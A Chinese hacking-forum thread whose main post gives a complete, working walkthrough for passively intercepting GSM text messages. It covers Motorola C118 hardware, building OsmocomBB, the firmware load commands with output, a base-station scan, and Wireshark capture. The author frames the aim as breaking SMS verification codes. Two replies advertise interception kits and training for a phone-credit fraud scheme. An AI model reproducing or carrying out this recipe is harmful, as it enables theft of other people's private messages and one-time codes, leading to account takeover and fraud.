i3综合社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 2641|回复: 3

[黑客技术] 记一次GSM手机短信拦截经验分享

[复制链接]

6641

主题

7078

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
13769

活跃会员突出贡献

发表于 2015-9-19 15:44:39 | 显示全部楼层 |阅读模式

[由于有些部分完全是一样的,所以本文部分图片、代码参考于网络,我就直接拿过来了,因为即使是我自己写,我也会这么写的,若不是本人所写,本人直播吃翔]


     之前在FreeBuf上看到有人提起过GSM短信拦截,简直是666啊,要是真的可以实现,什么短信验证码啊,什么的都可以完爆了。

于是本人参考了网上的教程购买了设备,进行了测试并且成功了,但是网上的教程有些问题,所以我把我在测试中遇到的问题进行了总结,谢了这篇文章分享给有兴趣的人。

sms.jpg
            测试时使用的系统环境是ubuntu-12.04.1 32位(不建议使用虚拟机,建议直接使用wubi装物理机双系统。我这里使用32位,是因为我电脑老的不行了。。。之前有人说支持12.10,可是我测试了一下发现12.10会出现很多异常错误)。
       说实话,这个12.04.1的版本还真是不好找,我也是找了好久才找到的。 如果链接失效请联系我。

       我这里分享一下我转存的ubuntu-12.04.1的下载地址:
以及我转存的wubi的下载地址(对应12.04.1):
需要以下硬件设备:
    ①【摩托罗拉 C118】,当然还有些别的型号的机子也可以的,不过我这里就用的C118;
    ②【MiniUSB数据线】,就是以前的那种手机的数据线,梯形接口;
    ③【FT232RL转接器】,这个是C118的刷机配件;
    ④【C118数据连接线镀金版】,这是杜邦头+2.5mm音频头;

设备示意图:
103804slflx6p661pykpqp.jpg


083244kos3cznpns4es44w.jpg

083243sp31pkke1o43aasq.jpg 083242l6hbb10dd776wizd.jpg 083242kb4dziysy808y2yo.jpg

【1.建立win7+ubuntu双系统(以下内容为小白准备,高手请跳过)】
    首先需要搭建好环境,下载好ubuntu12.04.01后,解压到你打算安装ubuntu的盘的根目录下(我这里安装在D:盘的根目录下)
      dGsAAAAAAAAA&bo=VwIaAlcCGgIDACU%21.jpg

        然后将下载好的wubi.exe替换到解压好的ubuntu-12.04.1-desktop-i386的目录下 替换掉原来的wubi.exe。打开ubuntu目录下的wubi.exe。设置用户名和密码后断开网络连接(
[一定要断网,否则很可能安装失败] 如果是wifi断开wifi,如果是网线直接拔掉网线),点击开始安装, 安装完成后会要求重新启动,然后重启时到黑屏界面要求,选择windows7和ubuntu,选择ubuntu按回车进入ubuntu开始安装。安装过程很简单。我这里就不细说了,基本上按照我的步骤就可以了。

【2.搭建编译环境】
       进入ubuntu后输入密码登陆系统,然后 按下Ctrl+Alt+T打开terminal,然后输入sudo passwd然后输入你要设置的root密码(输入的时候不会有*星号提示,直接输入即可)输入完回车,再输入一遍再回车。【ok!这样就设置好了root密码】
      
        下面要安装交叉编译环境

① 用户目录下建立source/arm
② 进入arm目录再创建三个目录 build、 install 、src
③ 进入src目录分别下载这三个文件包:
ftp://sources.redhat.com/pub/newlib/newlib-1.19.0.tar.gz
④ 下载 gnu-arm-build.2.sh 文件到arm目录


目录结构如图所示:

%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7-2013-11-06-06.05.58-PM.jpg

编译前需要安装相应的库文件执行如下命令(在terminal中执行,需要输入root密码):

sudo apt-get update

sudo apt-get install libtool shtool autoconf git-core pkg-config make gcc build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev texinfo flex bison libncurses5 libncurses5-dbg libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev zlibc zlib1g-dev libmpfr4 libmpc-dev libpcsclite-dev wireshark

安装完
在arm根目录执行如下命令:
chmod +x gnu-arm-build.2.sh
./gnu-arm-build.2.sh

解释下这两条命令的意思,chmod +x 是给与 gnu-arm-build.2.sh 可执行权限 , ./ gnu-arm-build.2.sh 是执行它
执行 gnu-arm-build.2.sh后会提示你是否继续,ctrl+c 则取消,直接回车。如下图所示:

%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7-2013-11-06-06.16.42-PM.jpg


完成后会看到arm/install目录结构如图所示:

%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7-2013-11-06-06.31.12-PM.jpg



我们需要将 arm/install/bin目录加入环境变量中,注意这里最好直接填写绝对路径
获取绝对路径命令,在arm/install/bin目录下执行pwd命令,然后复制下来。如下图
%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7-2013-11-06-06.32.52-PM.jpg
加入环境变量的方法用vi打开 ~/.bashrc 在最后一样加入
export PATH=$PATH:"这里是你的刚刚复制下来的"
例如:export PATH=$PATH:/home/creturn/source/arm/install/bin
注意$PATH:冒号后面接的是你自己的绝对路径,有的同学不会用vi的话我就把具体命令写出来
cd 回车 #切换到主目录 vi ./.bashrc #打开文件 shift+g #按shift和g 跳转到最后一样 o #输入小写字母o换行并进入插入模式,然后把上面需要加入的代码加入进去 esc # 按esc键进入命令模式 :wq #按冒号然后输入回车编辑完成
重新打开终端或者直接执行source ~/.bashrc 让环境变量生效
在终端中输入arm然后按tab键,如果出现 arm开头的如下图所示就说明编译环境搞定了:
%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7-2013-11-06-06.43.44-PM.jpg

接下来下载 OsmocomBB 源码
在source目录下执行下面两条命令:
git clone git://git.osmocom.org/osmocom-bb.git
git clone git://git.osmocom.org/libosmocore.git

先编译osmocom核心库文件,进入libosmocore 执行如下命令(这部分命令可能容易执行失败,前面3条最关键,如果前面3个也会出问题的话就是之前出了问题):
autoreconf -i
./configure
make
sudo make install


然后切换 osmocombb 到下面的分支,并且编译

git checkout --track origin/luca/gsmmap
cd src
make

如果不出意外你所需软件环境和固件都编译好了。Ubuntu12.04 默认能够识别FT232R所以不用装驱动。
接下来链接硬件, FT232RL USB TO TTL 和 摩托的数据线链接注意上面对应的标识接入GND、RX、TX 所以不用担心接错,我也第一次摸板子。
链接完成后需要注意,如果链接正常下载板上面的蓝色的灯和红色的灯都要亮,不然肯定是接触不良,
我之前由于接触不良导致固件写入一半就会停止,或者包其他错误。所以这里需要特别注意。
插入硬件后在虚拟机菜单中把接入下载板子的usb接口分配给虚拟机(如果你用的是虚拟机的话)如图:

QQ20131106-9.jpg



在终端中输入lsusb 如果驱动正常就能看到usb-serial

看下分配前和分配后的区别如下图:

QQ20131106-10.jpg



到这里呢我们的编译环境已经OK了,下面开始测试拦截短信了

【3.测试短信拦截】
经过上面的编译过程,环境准备的差不多了,下面进行测试,首先把设备按照本文的第一张示意图开始拼装,注意C118数据连接线镀金版插入时杜邦头平平滑面朝上,也就是,黑线接入GND,白线接入RX-I,红线接入TXD。全部接好后插入电脑。

然后terminal下执行sudo apt-get install wireshark安装wireshark (这是用来读取网络封包的工具)。

接下来我们写入固件到手机中,这里需要说明的一点,很多人说是刷入固件,导致很多人误认为是刷机,其实只是把
固件加载到手机raw中执行而已,所以也不要担心输入固件后手机就不能用了。
切换到 osmocom-bb/src/host/osmocon/目录(在手机关机状态下)执行如下命令:

./osmocon -m c123xor -p /dev/ttyUSB0 ../../target/firmware/board/compal_e88/layer1.compalram.bin

这个时候短按手机开机键,在虚拟机中会看到如下输出:

got 1 bytes from modem, data looks like: 2f  /
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 1b  .
got 4 bytes from modem, data looks like: f6 02 00 41  ...A
got 1 bytes from modem, data looks like: 01  .
got 1 bytes from modem, data looks like: 40  @
Received PROMPT1 from phone, responding with CMD
read_file(../../target/firmware/board/compal_e88/layer1.compalram.bin): file_size=56016, hdr_len=4, dnload_len=56023
got 1 bytes from modem, data looks like: 1b  .
got 1 bytes from modem, data looks like: f6  .
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 41  A
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 43  C
Received PROMPT2 from phone, starting download
handle_write(): 4096 bytes (4096/56023)//这是正在写入数据的意思,也就是在刷机,下面的handle_write()也是
handle_write(): 4096 bytes (8192/56023)
handle_write(): 4096 bytes (12288/56023)
handle_write(): 4096 bytes (16384/56023)
handle_write(): 4096 bytes (20480/56023)
handle_write(): 4096 bytes (24576/56023)
handle_write(): 4096 bytes (28672/56023)
handle_write(): 4096 bytes (32768/56023)
handle_write(): 4096 bytes (36864/56023)
handle_write(): 4096 bytes (40960/56023)
handle_write(): 4096 bytes (45056/56023)
handle_write(): 4096 bytes (49152/56023)
handle_write(): 4096 bytes (53248/56023)
handle_write(): 2775 bytes (56023/56023)
handle_write(): finished//出现这个就是说明写入finish(写入完成)
got 1 bytes from modem, data looks like: 1b  .
got 1 bytes from modem, data looks like: f6  .
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 41  A
got 1 bytes from modem, data looks like: 03  .
got 1 bytes from modem, data looks like: 42  B
Received DOWNLOAD ACK from phone, your code is running now!
  battery_compal_e88_init: starting up

这里需要提醒下,由于买的手机都是二手的,所以接口处有可能会有松动,所以如果看到数据写入被取消就多试几次
调整下接口看看是否有松动,我机会每次都要试4-5次才能正常写入固件,看到staring up 基本就成功了,同事可以看到
手机上面也显示了 Layer 1 osmocom-bb 字样
QQ20131106-12.jpg

接下来在 /osmocom-bb/src/host/layer23/src/misc/ 目录执行 ./cell_log

输出日志信息,在里面可以看到基站信息
找到类似信息
cell_log.c:248 Cell: ARFCN=117 PWR=-62dB MCC=460 MNC=01
如下图:
QQ20131106-13.jpg

记住ARFCN后面的编号
然后在同样目录下输入下面命令把数据流导入本地4729端口
./ccch_scan -i 127.0.0.1 -a 117 # 注意这里的117就是上面的ARFCN后面的编号
如下图:
QQ20131106-14.jpg

接下来用wireshark 抓包,输入如下命令:
sudo wireshark -k -i lo -f 'port 4729'
然后在wireshark里面过滤gsm_sms协议数据,里面就包含了短信数据
QQ20131106-15.jpg

sms.jpg

然后就坐等截取短信吧!!

全套设备140块左右,需要的朋友可以自己某宝购买,也可以私我要链接。



回复

使用道具 举报

0

主题

123

帖子

233

积分

中级会员

Rank: 3Rank: 3

积分
233
发表于 2017-5-27 09:33:34 | 显示全部楼层
回的人少,我来小顶一下

回复 支持 反对

使用道具 举报

0

主题

2

帖子

3

积分

新手上路

Rank: 1

积分
3
发表于 2017-8-16 23:08:24 来自手机 | 显示全部楼层



2017最新灰色项目,寻找下级合作数名,话费套利地面项目平均日入1000以上,先说好天下没有免费的午餐,短信拦截设备+包教会做项目一共五千,以后长期合作七折回收,小白条子勿扰骗子死全家。

回复 支持 反对

使用道具 举报

0

主题

2

帖子

3

积分

新手上路

Rank: 1

积分
3
发表于 2017-8-16 23:10:06 来自手机 | 显示全部楼层



2017最新灰色项目,寻找下级合作数名,话费套利地面项目平均日入1000以上,先说好天下没有免费的午餐,短设备+包做项目一共五千,以后长期合作七折回收,小白条子勿扰骗子死全家。需要联系Q865750664

回复 支持 反对

使用道具 举报

*滑动验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|i3综合社区 ( 粤ICP备16032410号

粤公网安备 44098102440999号

本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除
联系E-mail:i3zh@qq.com 商务合作QQ:76535901

GMT+8, 2017-11-25 11:33 , Processed in 0.402299 second(s), 28 queries , File On.

Powered by Discuz! X3.3

© 2001-2014 Weixiaoduo.com.

快速回复 返回顶部 返回列表